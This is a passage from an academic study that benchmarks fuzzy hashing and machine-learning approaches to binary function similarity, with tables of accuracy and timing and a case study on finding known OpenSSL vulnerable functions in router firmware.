quires to create an accurate ground-truth, which is the problem
that function similarity is trying to solve in the first place.

4.4 Fuzzy-hashing Comparison

This section discusses our in-depth investigation of the
two approaches based on fuzzy hashing: Catalog1 [74] and

Table 1: AUC Comparison of Catalog1 and FunctionSim-
Search (FSS) when varying only one variable at the time: Archi-
tecture, Bitness, Compiler, Optimizations, Compiler Version

Free variable

Description Arch Bit Comp Opt Ver

Catalog1 B + size 16 0.49 0.63 0.63 0.75 0.94
Catalog1 B + size 128 0.43 0.76 0.85 0.92 0.99

FSS G 0.81 0.89 0.68 0.74 0.87
FSS G + M 0.66 0.88 0.78 0.83 0.97
FSS G + M + I 0.67 0.88 0.77 0.82 0.97
FSS w(G + M + I) 0.75 0.83 0.67 0.74 0.82

FunctionSimSearch [18].

Catalog1 uses raw bytes as input features and a different
signature size (i.e., number of hash functions): we show the
results of two variants, one with size 16 and the other with size
128. In contrast, FunctionSimSearch (FSS) uses a combination
of graphlets (G), mnemonics (M) and immediates (I): we did
different tests by incrementally enabling different types of
input features, including their weighted linear combination w,
as we found it in the original implementation (G:1.00, I:4.00,
M:0.05).

Since fuzzy hashing approaches are not influenced by a train-
ing phase, we used them to perform a targeted evaluation of
how each compilation variable affects the comparison of binary
functions. Thus, for these approaches,we first perform multiple
experiments in which we vary one variable (i.e., compiler fam-
ily, version, options, architecture, and bitness) while we keep
the remaining ones the same. The results, in Table 1, make clear
that, when considering only one free variable at a time, even
simple approaches such as fuzzy hashes are effective: “raw”
bytes are confirmed to be good features for same-architecture
comparisons,while graphlets are effective in cross-architecture
comparisons. For Catalog1, the bigger the signature size, the
better the performances, but they are limited by the total num-
ber of hash functions included in the implementation.

We then evaluated these two approaches with the six tasks
presented earlier. Tables 2 and 4 show the results on Dataset-1
and Dataset-2: having multiple free variables at the same time is
a much harder problem and simple approaches are not effective
anymore. In the XC task (Table 2), Catalog1 and FSS have iden-
tical AUC. For FSS, the graphlets-only (G) configuration is the
best in all the tasks except XC and XO, where using graphlets
with mnemonics (G+M) has higher AUC. Moreover, FSS also
seems to work better on bigger functions, which may be due to
the higher number of different graphlets that can be extracted.
Finally, in the XA task, FSS accuracy decreases when using ad-
ditional features such as mnemonics and immediates, and sur-
prisingly, the weighted linear combination of the three features
do not produce better results than other basic configurations.
Catalog1 is the fastest among the two approaches, while FSS is
about 3 times slower due to a longer feature extraction phase.
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Table 2: Comparison of Catalog1 and FunctionSimSearch (FSS) on Dataset-1.
XM XC+XB

Description XC XC+XB XA XM small medium large MRR10 Recall@1 MRR10 Recall@1

Catalog1 B + size 16 0.66 0.60 0.48 0.54 0.54 0.53 0.54 0.08 0.07 0.25 0.23
Catalog1 B + size 128 0.73 0.66 0.43 0.55 0.54 0.55 0.58 0.12 0.09 0.31 0.27

FSS G 0.72 0.72 0.69 0.70 0.70 0.71 0.77 0.26 0.20 0.29 0.23
FSS G + M 0.73 0.71 0.58 0.65 0.64 0.66 0.70 0.17 0.13 0.29 0.24
FSS G + M + I 0.73 0.70 0.58 0.65 0.64 0.66 0.71 0.15 0.09 0.28 0.23
FSS w (G + M + I) 0.69 0.69 0.65 0.67 0.66 0.68 0.72 0.21 0.16 0.23 0.17

4.5 Machine-learning Models Comparison

We evaluate all selected approaches by using a common
training dataset extracted from Dataset-1 (with the exception
of Trex [60]) and using a similar criteria to the XM task to
create positive and negative samples. However, it is important
to note that it would be possible to further improve the results
of each task by using task-specific training data. We did
perform this evaluation but we omit the results as we noticed
that training on the most generic data (XM) achieves overall
performances that are close to the best for each task.

Comparing machine-learning models, especially deep
neural networks, is a challenging task because several
variables may influence the final results, including the
model implementation and configuration (e.g., number of
layers or the type of recurrent neural network), the different
hyperparameters (e.g., the learning rate and the batch size),
the loss function, the optimizer, and the number of training
epochs. To be as uniform as possible in our comparison, all
models were trained with the same randomly generated data
extracted from 256,625 unique binary functions. Moreover,
we performed extensive experiments to evaluate different sets
of features, different model configurations, hyperparameters,
and loss functions. The results for each model can be improved
by using an extensive grid search approach and the results we
present can be used as a starting point for future works.

Table 3 and Table 4 show the results of the tested models
and their respective variants on the two datasets. Table 8
includes some generic information about the models and their
training, such as the number of parameters, the batch size, the
number of epochs, and the training time for each epoch.

Results show that among the models that produce a vector
representation of a function (i.e., an embedding) the GNN
from [40] achieves the best values in all the metrics and in all
the tasks. We also note how most of the machine-learning mod-
els perform quite similarly when compared on AUC, but dif-
ferently on ranking metrics (MRR10 and recall@1), as shown
in Figure 2. Then, regarding the other embedding models,
SAFE [49] provides better AUC than GNN with unsupervised
features [45], and in one specific configuration slightly better
AUC than Gemini [76]. For the approaches that perform direct
comparisons, the GMN from [40] is the best performing model
in all the tasks, while Zeek has a slightly lower AUC (except
for large functions), but much lower MRR10 and recall@1.

We now discuss in depth eight observations from our results.

Comparing Trex. Our results show that, on the XO task,
Trex has the same AUC and similar MRR10 and recall@1
as Asm2Vec, as well as the other word2vec variants, which
is slightly lower than the one of GNN and GMN. This
consolidates the finding that language models are strong
in the same architecture tasks. However, differently from
Asm2Vec, Trex retains the same performances also in the XA
and XA+XO task, which shows the power of the transformer
in (cross language) cross-architecture setup. We confirm that
Trex improves SAFE performances in the XO task (0.94 vs.
0.90) and in the XA+XO task (0.94 vs. 0.91). Our tests also
show that the inference for Trex running on GPU (more details
in [47]) is faster than our multiprocess Asm2Vec implemen-
tation (3.92s vs. 8.51s for 100 functions), but it is slower than
SAFE running on CPU (3.92s vs. 1.46 for 100 functions).

Comparing different GNNs. Both Gemini [76] and
Li et al. [40] use GNNs with a different variant of the message
passing and aggregation layer [8, 41]. Using the results from
the third and fourth block of lines in Table 3 and Table 4, we
compare the two variants using both basic block features (the
bag of words (BoW) of the opcodes) and no features. Results
show that the GNN variant of Li et al. provides a significant
improvement over GNN (s2v), the one used by Gemini, in all
the tasks. However, the execution time of two variants remain
similar (1.48s vs. 1.40s when using no features).

Comparing different feature set in GNN (s2v). Gemini [76]
uses a GNN model called Structure2vec (s2v) [8] with manu-
ally engineered features. Our goal is to understand how impor-
tant these features are with respect to not having a feature vector
at all or using another set of features such as the bag of words
(BoW) of the opcodes. Results in Table 3 and Table 4 show that
manually engineered features only perform better on small and
large functions in the XA task, and that the BoW of the opcodes
perform similarly in all the different metrics, and even have bet-
ter recall for different K values, as shown in Figure 2. Also, the
execution time is different (1.66s vs. 7.18s), due to a longer fea-
ture extraction phase in Gemini. This means that more complex
and difficult to extract features do not necessarily outperform a
more basic representation. A BoW of 200 opcodes has 20 times
the number of features of Gemini, which results in a larger input
matrix for the node neural network of GNN. We additionally
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Table 3: Comparison of machine-learning models on Dataset-1.
XM

Description XC XC+XB XA XM small medium large MRR10 Recall@1

[67] Zeek (direct comparison) Strands 0.84 0.85 0.84 0.84 0.85 0.83 0.87 0.28 0.13

[40] GMN (direct comparison) CFG + BoW opc 200 0.85 0.86 0.86 0.86 0.89 0.82 0.79 0.53 0.45
[40] GMN (direct comparison) CFG + No features 0.86 0.87 0.86 0.87 0.88 0.85 0.84 0.43 0.33

[40] GNN CFG + BoW opc 200 0.86 0.87 0.86 0.87 0.89 0.84 0.76 0.52 0.44
[40] GNN CFG + No features 0.82 0.83 0.82 0.82 0.85 0.80 0.76 0.37 0.29

[76] GNN (s2v) CFG + BoW opc 200 0.81 0.82 0.78 0.81 0.82 0.78 0.74 0.36 0.26
[76] GNN (s2v) CFG + manual 0.81 0.82 0.80 0.81 0.84 0.77 0.79 0.36 0.28
[76] GNN (s2v) CFG + No features 0.69 0.70 0.69 0.70 0.70 0.69 0.75 0.12 0.07

[45] w2v + AVG + GNN (s2v) CFG + N. asm 150 0.79 0.79 0.74 0.77 0.78 0.75 0.73 0.24 0.16
[45] w2v + wAVG + GNN (s2v) CFG + N. asm 150 0.79 0.79 0.76 0.77 0.78 0.76 0.76 0.29 0.20
[45] w2v + RNN + GNN (s2v) CFG + N. asm 150 0.79 0.80 0.79 0.80 0.82 0.77 0.80 0.27 0.17

[49] w2v + SAFE N. asm 150 0.80 0.81 0.80 0.81 0.83 0.77 0.77 0.17 0.07
[49] w2v + SAFE N. asm 250 0.82 0.83 0.82 0.83 0.84 0.81 0.82 0.22 0.09
[49] w2v + SAFE + trainable N. asm 150 0.80 0.81 0.80 0.81 0.83 0.76 0.74 0.29 0.16
[49] rand + SAFE + trainable N. asm 150 0.79 0.80 0.79 0.80 0.83 0.75 0.74 0.28 0.17

[14] Asm2Vec 10 CFG random walks 0.77 0.69 0.60 0.65 0.63 0.70 0.78 0.12 0.07
[38] PV-DM 10 CFG random walks 0.77 0.70 0.50 0.62 0.63 0.62 0.61 0.11 0.08
[38] PV-DBOW 10 CFG random walks 0.78 0.70 0.50 0.63 0.63 0.62 0.61 0.11 0.09

Figure 2: Comparison of the recall at different K values for XO (left) and XM (right) tasks.

tested a BoW of 1024 opcodes but the results did not improve
significantly, which means that those additional features do not
contribute significantly to the representation of the function.

Finally, we wanted to test whether the use of instructions
embeddings as GNN features helps to increase the AUC,
as presented in [45]. Our results show that the instruction
embeddings on the normalized assembly do not have higher
AUC than bag of words of the opcodes or manual engineered
features (only the RNN basic block encoder achieves similar
AUC), MRR10 and the recall@1 are lower too and the training
time is drastically increased.

Modelling functions using a textual encoder. SAFE [49]

uses a sentence encoder based on instruction embeddings,
and the AUC is better than GNN (s2v) with unsupervised
features [45]. Compared to Gemini [76], the AUC is similar,
but MRR10 and recall@1 are lower. SAFE works better
on small functions and results do improve when increasing
the maximum instruction length from 150 to 250 (Table 3).
However, SAFE needs to confront the challenge of out-
of-vocabulary (OOV) words. As introduced in Section 2,
other approaches such as InnerEye [82] or Mirror [80] apply
different assembly normalization techniques to mitigate this
issue. To illustrate this challenge, we measured the impact of
OOV instructions in SAFE and we observed that x86-64 is
the most affected architecture by the OOV problem (less than
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Table 4: Comparison of fuzzy hashing and machine-learning models on Dataset-2
AUC MRR10 Recall@1 Testing time (s)

Model name Description XO XA XA+XO XO XA XA+XO XO XA XA+XO Feat Inf Tot
100

[67] Zeek (direct comparison) Strands 0.92 0.94 0.91 0.42 0.45 0.36 0.28 0.31 0.21 7225.41 67.00 9.92

[40] GMN (direct comparison) CFG + BoW opc 200 0.97 0.98 0.96 0.75 0.84 0.71 0.66 0.77 0.61 1093.68 1005.00 1.83
[40] GMN (direct comparison) CFG + No features 0.93 0.97 0.95 0.61 0.76 0.67 0.51 0.68 0.59 978.15 876.00 1.63

[40] GNN CFG + BoW opc 200 0.95 0.97 0.95 0.67 0.79 0.67 0.57 0.73 0.57 1093.68 116.52 1.66
[40] GNN CFG + No features 0.91 0.96 0.93 0.54 0.71 0.59 0.44 0.62 0.49 978.15 100.34 1.48

[76] GNN (s2v) CFG + BoW opc 200 0.94 0.95 0.93 0.58 0.57 0.58 0.48 0.42 0.47 1093.68 118.59 1.66
[76] GNN (s2v) CFG + Gemini 0.93 0.96 0.93 0.57 0.74 0.57 0.47 0.64 0.49 5139.91 98.40 7.18
[76] GNN (s2v) CFG + No features 0.75 0.79 0.77 0.18 0.20 0.23 0.12 0.13 0.16 978.15 40.87 1.40

[45] w2v + AVG + GNN (s2v) CFG + N. asm 150 0.90 0.88 0.87 0.46 0.31 0.42 0.38 0.18 0.33 1070.01 258.95 1.82
[45] w2v + wAVG + GNN (s2v) CFG + N. asm 150 0.87 0.87 0.85 0.37 0.29 0.36 0.29 0.17 0.27 1070.01 253.72 1.81
[45] w2v + RNN + GNN (s2v) CFG + N. asm 150 0.88 0.90 0.88 0.32 0.35 0.35 0.19 0.18 0.23 1070.01 685.50 2.41

[49] w2v + SAFE N. asm 150 0.88 0.90 0.88 0.27 0.30 0.31 0.14 0.18 0.20 1031.23 33.33 1.46
[49] w2v + SAFE N. asm 250 0.86 0.88 0.87 0.28 0.32 0.28 0.16 0.19 0.19 1031.23 33.33 1.46
[49] w2v + SAFE + trainable N. asm 150 0.91 0.93 0.91 0.40 0.43 0.37 0.26 0.25 0.23 1031.23 33.57 1.46
[49] rand + SAFE + trainable N. asm 150 0.90 0.91 0.90 0.28 0.33 0.31 0.14 0.17 0.21 1031.23 33.81 1.46

[14] Asm2Vec Rand walks asm 0.94 0.69 0.75 0.60 0.07 0.22 0.49 0.02 0.18 978.15 5235.00 8.51
[38] PV-DM Rand walks asm 0.94 0.66 0.72 0.64 0.08 0.23 0.51 0.05 0.19 978.15 5239.00 8.52
[38] PV-DBOW Rand walks asm 0.94 0.66 0.72 0.63 0.07 0.23 0.50 0.03 0.20 978.15 3004.00 5.46

[60] Trex 512 Tokens 0.94 0.94 0.94 0.61 0.50 0.53 0.50 0.38 0.46 1493.58 1365.89 3.92

[74] Catalog_1 size 16 0.72 0.50 0.55 0.43 0.06 0.14 0.38 0.06 0.14 654.70 0.00 0.90
[74] Catalog_1 size 128 0.86 0.48 0.57 0.50 0.07 0.17 0.42 0.06 0.14 823.47 0.00 1.13

[18] FSS G 0.77 0.81 0.77 0.26 0.35 0.32 0.18 0.26 0.26 1903.46 466.07 3.25
[18] FSS G + M 0.79 0.68 0.69 0.29 0.15 0.21 0.23 0.09 0.15 1903.46 466.07 3.25
[18] FSS G + M + I 0.80 0.68 0.69 0.30 0.16 0.20 0.23 0.10 0.14 1903.46 466.07 3.25
[18] FSS w(G + M + I) 0.83 0.80 0.78 0.43 0.30 0.36 0.36 0.23 0.29 1903.46 466.07 3.25

30% of the functions have no OOV words), probably due to
its CISC instruction set, followed by MIPS, and finally ARM,
with more than 40% of functions without a single OOV word.

Asm2Vec and other paragraph2vec models. Table 3 and
Table 4 show the comparative results of Asm2Vec [14] with
the PV-DM and PV-DBOW variants of paragraph2vec [38].
All the three models perform similarly, and compared to
GNN [40], using a specific mono-architecture approach
does not bring any advantage. We note that results are
strongly influenced by several factors, including the size of
the vocabulary of instructions, the number of random walks,
and several implementation details. During the training, we
selected 1M tokens (out of 1.9M) with a minimum frequency
of 5, where most of them are numerical offsets or hexadecimal
addresses. Lowering that threshold does improve the results,
but also increases the size of the vocabulary and the training
time. At inference time we did not change the vocabulary, even
though these unsupervised methods can benefit from a new
inference vocabulary without invalidating the results. In our
tests all the three models share the same vocabulary. We also
note that all the three variants achieve high AUC on scenarios
where only one variable is free, e.g., the XO task in Table 4,
but the AUC drops when multiple compilation variables are
considered together, e.g., the XC task in Table 3, where the
compiler, its version, and the optimizations change.

Comparing efficiency. We also kept track of how efficient

these approaches are for what concerns training (Table 8)
and testing time, i.e., inference time (Table 4). We focus the
discussion on the second, because training the models is mostly
a one-time effort. Regarding the inference time, SAFE [49]
appears to be the fastest among the machine-learning models
with 1.46s to process 100 functions. GMN and GNN from [40]
have similar and among the lowest running times, however
GMN processes only a pair of functions in input. GNN (s2v)
with Gemini features [76] is 4 times slower than the version
with opcode features: the reason is the longer feature extraction
time. Zeek [67] inference time is also affected by long feature
extraction and processing time, and it is the slowest among the
approaches. GNN (s2v) with unsupervised features is slower
in the RNN variant, due to a longer inference time given by the
additional model complexity. Similarly, Trex [60] is affected
by a long inference time due to the complexity of the NLP
model. Finally, Asm2Vec [14] is among the slowest, because
it requires 10 epochs of inference to extract the new function
embeddings. Interestingly, Asm2Vec is slower than the other
paragraph2vec [38] models due to the particular instruction
embedding construction.

CodeCMR/BinaryAI evaluation. For our evaluation we also
included CodeCMR, a recent paper by Tencent [79]. There
were several problems attempting to replicate this work and its
predecessor [78] (more details in [47]), but the authors were
kind enough to assist us with an evaluation on our dataset. We
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Table 5: Comparison of CodeCMR/BinaryAI with GNN and bag of words (BoW) of opcodes (opc) or IDA microcode (IR).
XM

Description XC XC+XB XA XM small medium large MRR10 Recall@1

[40] GNN CFG + BoW opc 200 0.86 0.87 0.87 0.87 0.90 0.84 0.78 0.58 0.52
[40] GNN CFG + BoW IR 80 0.87 0.87 0.87 0.88 0.89 0.86 0.81 0.62 0.56
[79] CodeCMR/BinaryAI CFG + IR + Int + Strings 0.98 0.98 0.98 0.98 0.99 0.97 0.93 0.86 0.83

Figure 3: Comparison of the recall at different K values for
the XM task for GNN [40] and CodeCMR/BinaryAI.

acknowledge that this kind of evaluation does not align with
the re-implementation efforts we performed for the rest of
the approaches. However, we believe CodeCMR to be quite
interesting and promising, and we found it valuable to add it
in our paper. We also note that one other option would have
been to attempt to re-implement this approach, but we believe
it would be extremely challenging to be confident about the
faithfulness of our reimplementation, due to the high complex-
ity of the system and many “hidden” variables not discussed
in the paper. We now discuss insights from our evaluation.

Since the ultimate goal of their model is to match binary with
source code, to train and test our data they isolated the part of
the model that handles the function binary data only. We shared
with them a pre-processed version of a subset of our dataset
which consisted of ARM and x86 functions, 32 and 64 bit, that
preprocessed using IDAPro with the HexRays decompiler.2

The extracted data consists of an attributed CFG with the
IDA microcode instructions, integer number of ctree and the
strings from the functions data. To have a baseline comparison,
we run the GNN model from [40] using as basic block features
the bag of words of the 200 most frequent opcodes and the bag
of words of the 80 IDA microcode instructions.

Results are shown in Table 5. The GNN model that uses the
BoW of the IDA microcode instructions has a higher AUC
than the GNN model that uses BoW of the opcodes, but the
second one has higher recall for large K values (Figure 3). In
general, all the metrics for the BinaryAI/CodeCMR model
are higher than the rest of our tested models. If these results
are verified by independent studies in the community, this
may be a very promising direction of research. In fact, the

2We could process only a subset of our dataset because we did not have
access to a recent version of the HexRays MIPS decompiler license (BinaryAI
plugin requires IDA 7.3 or later version). Moreover, HexRays only supports
the decompilation of MIPS 32 bit code.

BinaryAI/CodeCMR model introduces several innovations.
First, it merges in a single model several building components
(i.e., a NLP encoder, a GNN, and two LSTMs), and it trains
everything jointly by using an end-to-end strategy. Second,
the authors show in their paper that the training strategy (e.g.,
using distance weighted sampling [73]) and loss function
(e.g., triplet loss [66]) play an important role and can yield
significant performance improvements.

Notes about Kim et al. In a recent paper posted on Arxiv
by Kim et al. [36], the authors propose an interpretable
model and show that manual feature engineering can achieve
comparable results with “the state-of-the-art models,” namely
Vulseeker [25]. Their evaluation takes into account only one
variable change at a time (e.g., only the compiler changes,
while the architecture and the optimization level are fixed).
This is a simplified setting compared to our six evaluation
tasks, where, as shown in Table 1, even simple fuzzy-hashes
approaches are effective. Moreover, the paper lacks any
meaningful evaluation against state-of-the-art techniques. For
example, the comparison with the ROC curve of Vulseeker
is theoretical, performed on a different dataset, and without
re-training the model. Another aspect that makes the compar-
ison very challenging is how the positive and negative pairs
are selected, as already mentioned in Section 4.3.

4.6 Vulnerability Discovery Use Case

As an example of a security application, we tested all models
on a vulnerability discovery task. To this end, we selected
ten vulnerable functions from OpenSSL1.0.2d, covering a
total of eight CVEs. As a target, we selected the libcrypto
libraries embedded in two firmware images: Netgear R7000
(ARM 32 bit) and TP-Link Deco M4 (MIPS 32 bit). Detailed
information about which vulnerabilities affect each firmware
image are included in [47]. We compiled the ten vulnerable
functions for four architectures (x86, x64, ARM 32 bit, MIPS
32 bit) and we performed a ranking evaluation, similar to the
one we have presented in the previous tests. When evaluating
the vulnerability discovery results, we only used as a query
the functions that are vulnerable for a particular firmware
image. Results are shown in Table 7: we use the MRR10 as a
comparison metric to evaluate how each model ranks the target
vulnerable function for each query function. Unsurprisingly,
the GMN model [40] with opcode features is the best perform-
ing one, however it requires analyzing each pair of functions,
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Table 6: Vulnerability test ranks.
Netgear R7000

Model name Description x86 x64 ARM32 MIPS32

[67] Zeek (direct comparison) Strands 47;3;6;45 67;4;3;36 3;4;2;14 95;5;12;141

[40] GMN (direct comparison) CFG + BoW opc 200 1;1;1;2 1;1;30;7 1;1;1;1 1;1;1;7
[40] GMN (direct comparison) CFG + No features 4;1;1;3 5;1;52;2 2;1;1;4 7;1;1;12

[40] GNN CFG + BoW opc 200 3;32;1;18 9;6;1;40 4;1;1;44 97;5;1;138
[40] GNN CFG + No features 23;12;1;59 28;9;523;82 1;8;1;24 62;12;1;537

[76] GNN (s2v) CFG + BoW opc 200 8;1;5;36 9;1;14;8 2;1;1;6 35;5;1;7
[76] GNN (s2v) CFG + Gemini 432;3;1;155 372;6;66;60 356;2;1;77 339;15;1;308
[76] GNN (s2v) CFG + No features 1295;6;10;160 1161;537;169;475 1149;228;9;690 1164;68;852;198

[45] w2v + AVG + GNN (s2v) CFG + N. asm 150 37;76;5;5 3;35;45;39 30;1;1;70 76;74;54;100
[45] w2v + wAVG + GNN (s2v) CFG + N. asm 150 1111;50;275;5 195;8;158;14 1123;13;54;7 438;25;661;14
[45] w2v + RNN + GNN (s2v) CFG + N. asm 150 113;43;312;102 297;83;423;102 153;15;145;10 56;12;389;19

[49] w2v + SAFE N. asm 150 65;164;146;99 62;46;147;39 106;41;85;40 93;29;133;54
[49] w2v + SAFE N. asm 250 51;121;16;83 71;50;61;53 49;87;42;77 122;151;13;66
[49] w2v + SAFE + trainable N. asm 150 5;77;9;28 7;1;92;27 19;1;15;6 184;15;2;7
[49] rand + SAFE + trainable N. asm 150 55;161;105;15 24;51;175;30 134;64;50;36 319;180;54;10

[60] Trex 512 Tokens 41;4;1;3 10;3;1;2 32;4;1;2 24;16;1;1

[14] Asm2Vec Rand walks asm 1;13;109;58 2;36;11;449 2;1;1;1 31;1;257;1
[38] PV-DM Rand walks asm 15;7;9;1 13;13;395;454 119;1;1;1 2;71;272;2
[38] PV-DBOW Rand walks asm 25;7;22;7 24;19;242;19 109;2;1;1 1;14;519;10

[74] Catalog_1 size 16 452;868;1156;947 452;868;1156;947 20;849;4;1082 452;868;1156;947
[74] Catalog_1 size 128 454;868;1163;947 453;868;1156;949 60;1;1;87 452;36;1156;947

[18] FSS G 1172;4;4;507 1502;6;43;120 1004;23;2;283 1052;1;749;1117
[18] FSS G + M 1125;132;248;1495 258;112;360;870 100;172;1;505 67;1;621;741
[18] FSS G + M + I 352;61;97;1478 159;319;364;212 165;153;1;1396 1033;3;590;71
[18] FSS w(G + M + I) 1;1;10;1272 1;1;3;241 1;1;1;851 220;2;837;56

limiting the scalability of the approach. Trex [60] and the
GNN variant of Li et al. [40] provide the second-best results.

However, the FSS models with custom weights has surpris-
ingly the highest MRR10 for the x64 comparison vs. Netgear
R7000. We used the weights shipped in the code, which have
been optimized for the OpenSSL comparison. This proves that
the optimization process that FSS implements has practical
use cases, however it does not extend to other configurations.
Table 7 also shows comparisons across different architectures,
in particular the ARM32 column for Netgear and the MIPS32
one for TP-Link show the same-architecture comparison. The
Netgear R7000 firmware is compiled for ARM 32 bit, while the
TP-Link Deco-M4 for MIPS 32 bit: this shows why Asm2Vec
has high MRR10 values in the corresponding columns. Finally,
Table 6 contains the actual ranking results of the vulnerable
functions for the Netgear R7000 image, showing that quite
high MRR10 values may hide quite low rankings in practice.

5 Discussion

We now draw some conclusions from the previous results and
answer a number of research questions.

Results show that one machine-learning model, the GNN
from Li et al. [40], outperforms all the other variants in the
six evaluated tasks, achieving performances similar to the
less-scalable GMN version. Other embeddings-based mod-
els [45, 49, 60, 76] show lower but similar accuracy. Zeek [67],

which is a direct-comparison approach, has higher AUC on
large functions. Asm2Vec [14] does not perform any better than
other models, and fuzzy hashing approaches are not effective
when multiple compilation variables change at the same time.

Which are the main contributions of the novel machine-
learning solutions compared to simpler fuzzy hashing
approaches? Deep-learning models provide an effective way
of learning a function representation (i.e., an embedding), forc-
ing a spatial separation between different classes of functions.
Differently from fuzzy hashing approaches, machine-learning
models achieve high accuracy even when multiple compilation
variables change at the same time and they benefit from the
advantage of large training datasets built on top of a reliable
ground truth defined by the compilation options. The usage
of a Siamese architecture [40, 45, 49, 76] in combination with
a margin based loss [40, 79] introduced significant improve-
ments in the results. Moreover, GNNs [40, 45, 76, 79] are an
effective function encoder that can be used in combination
with other instruction level encoders [45, 79].

Which is the role of different sets of features? Results show
that the choice of the type of machine-learning model, in par-
ticular the GNN, and the loss functions are as important as the
features in input. Using basic block features (e.g., ACFG) pro-
vides better results, but there is a minimal difference between
carefully manually engineered features and simpler ones, such
as the bag of words of the basic block opcodes. Surprisingly, in-
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Table 7: Vulnerability test.
Netgear R7000 TP-Link Deco-M4

Model name Description x86 x64 ARM32 MIPS32 x86 x64 ARM32 MIPS32

[67] Zeek (direct comparison) Strands 0.13 0.15 0.27 0.05 0.07 0.24 0.14 0.22

[40] GMN (direct comparison) CFG + BoW opc 200 0.88 0.54 1.00 0.79 0.67 0.73 0.70 0.78
[40] GMN (direct comparison) CFG + No features 0.65 0.43 0.69 0.54 0.44 0.47 0.32 0.32

[40] GNN CFG + BoW opc 200 0.33 0.32 0.56 0.30 0.49 0.56 0.36 0.61
[40] GNN CFG + No features 0.25 0.03 0.53 0.25 0.22 0.20 0.12 0.27

[76] GNN (s2v) CFG + BoW opc 200 0.33 0.31 0.67 0.34 0.39 0.28 0.36 0.59
[76] GNN (s2v) CFG + Gemini 0.33 0.04 0.38 0.25 0.11 0.26 0.28 0.11
[76] GNN (s2v) CFG + No features 0.07 0.00 0.03 0.00 0.00 0.00 0.06 0.00

[45] w2v + AVG + GNN (s2v) CFG + N. asm 150 0.10 0.08 0.50 0.00 0.05 0.06 0.03 0.18
[45] w2v + wAVG + GNN (s2v) CFG + N. asm 150 0.05 0.03 0.04 0.00 0.00 0.03 0.04 0.27
[45] w2v + RNN + GNN (s2v) CFG + N. asm 150 0.00 0.00 0.03 0.00 0.03 0.11 0.08 0.14

[49] w2v + SAFE N. asm 150 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
[49] w2v + SAFE N. asm 250 0.00 0.00 0.00 0.00 0.04 0.02 0.07 0.03
[49] w2v + SAFE + trainable N. asm 150 0.08 0.29 0.29 0.16 0.04 0.16 0.24 0.09
[49] rand + SAFE + trainable N. asm 150 0.00 0.00 0.00 0.03 0.06 0.16 0.11 0.07

[60] Trex 512 Tokens 0.40 0.48 0.44 0.50 0.29 0.42 0.22 0.61

[14] Asm2Vec Rand walks asm 0.25 0.13 0.88 0.50 0.11 0.11 0.02 0.67
[38] PV-DM Rand walks asm 0.31 0.00 0.75 0.25 0.00 0.00 0.00 0.32
[38] PV-DBOW Rand walks asm 0.07 0.00 0.63 0.28 0.04 0.00 0.00 0.34

[74] Catalog_1 size 16 0.00 0.00 0.06 0.00 0.00 0.00 0.00 0.05
[74] Catalog_1 size 128 0.00 0.00 0.50 0.00 0.00 0.00 0.00 0.57

[18] FSS G 0.13 0.04 0.13 0.25 0.04 0.00 0.07 0.03
[18] FSS G + M 0.00 0.00 0.25 0.25 0.02 0.06 0.00 0.10
[18] FSS G + M + I 0.00 0.00 0.25 0.08 0.11 0.06 0.00 0.06
[18] FSS w(G + M + I) 0.53 0.58 0.75 0.13 0.06 0.00 0.00 0.00

Table 8: Models comparison on input features size, number of parameters, batch size, number of training epochs and training time.
Description Feature size NN params Batch size Train epochs Train/epoch (s)

[67] Zeek (direct comparison) Strands 1024 3,345,032 32 10 160

[40] GMN (direct comparison) CFG + BoW opc 200 200 181,634 20 16 1,026
[40] GMN (direct comparison) CFG + No features 7 163,106 20 16 857

[40] GNN CFG + BoW opc 200 200 172,418 20 10 944
[40] GNN CFG + No features 7 153,890 20 10 767

[76] GNN (s2v) CFG + BoW opc 200 200 75,266 250 5 1,238
[76] GNN (s2v) CFG + Gemini 7 38,210 250 5 1,068
[76] GNN (s2v) CFG + No features 7 38,210 250 5 555

[45] w2v + AVG + GNN (s2v) CFG + N. asm 150 100 28,002,066 250 5 2,254
[45] w2v + wAVG + GNN (s2v) CFG + N. asm 150 100 28,002,966 250 5 2,140
[45] w2v + RNN + GNN (s2v) CFG + N. asm 150 100 28,966,866 250 7 8,628

[49] w2v + SAFE N. asm 150 100 41,377,002 250 5 491
[49] w2v + SAFE N. asm 250 100 41,377,002 250 5 789
[49] w2v + SAFE + trainable N. asm 150 100 97,269,002 250 10 553
[49] rand + SAFE + trainable N. asm 150 100 97,269,002 250 10 533

[14] Asm2Vec Rand walks asm 200 - - 10 1,096
[38] PV-DM Rand walks asm 200 - - 10 966
[38] PV-DBOW Rand walks asm 200 - - 10 549

struction embeddings [45] do not boost the performances of the
GNN models, however we think that extensive testing is needed
to evaluate other possible combinations. Zeek [67] shows how
dataflow information can boost the results, especially for large
functions. Finally, fuzzy hashing approaches are more sensitive
to the type of features, due to the lack of a training phase.

Do different approaches work better at different tasks? In
particular, is the cross-architecture comparison more dif-

ficult than working with a single architecture? Our evalua-
tion shows that most of the machine-learning models perform
very similarly on all the evaluated tasks, both in the same and
cross architectures. Moreover, it is not necessary to train them
on a specific task, since using the most generic task data (XM)
allows to achieve performances that are overall close to the best
for each task. This is not the case for fuzzy hashing methods.
For instance, FunctionSimSearch graphlet features have sim-
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ilar performances in all the tasks, but their combination with
others does decrease the AUC in some tasks. However, not all
the approaches can be used in a cross-architectures comparison:
Asm2Vec [14] and the two paragraph2vec [38] models are lim-
ited to the same-architecture comparisons, due to the specific
unsupervised training approach, as well as Catalog1 [74].

Is there any specific line of research that looks more
promising as a future direction for designing new tech-
niques? Results show that deep-learning models have the
scalability and precision requirements for the different function
similarity tasks, especially due to the ability to learn a function
representation suitable to multiple tasks. Although the GNN
models provided the best results, there are tens of different
variants that need to be tested. Moreover, the combination of
GNN with assembly instruction encoders is another promising
direction [45, 78, 79]. Many of the previous works have
focused their effort on selecting different features and feature
abstraction levels, but most recent machine-learning models
only use the normalized assembly code or an intermediate
representation, leveraging the power of representation learning.
The effects of combining intermediate representations and
dataflow information must be studied as well. Furthermore,
we have observed that the selection of features and machine-
learning models are not the only aspects that influence the
performance of an approach. Some of these complementary as-
pects such as the training strategy and loss functions have been
barely discussed in the past and only recently explored. Li et
al. [40] introduced two alternative loss functions, an Euclidean
margin-based one, and an approximated Hamming similarity
for efficient nearest neighbor search. Following a similar direc-
tion, the latest research of CodeCMR [79] shows a significant
improvement in the results as a consequence of adopting a
norm weighted sampling method (a type of distance weighted
sampling [73]) in combination with a triplet loss [66].

6 Conclusions

This paper performs the first measurement study covering
more than five years of research works tackling binary function
similarity. We identified a number of challenges in the research
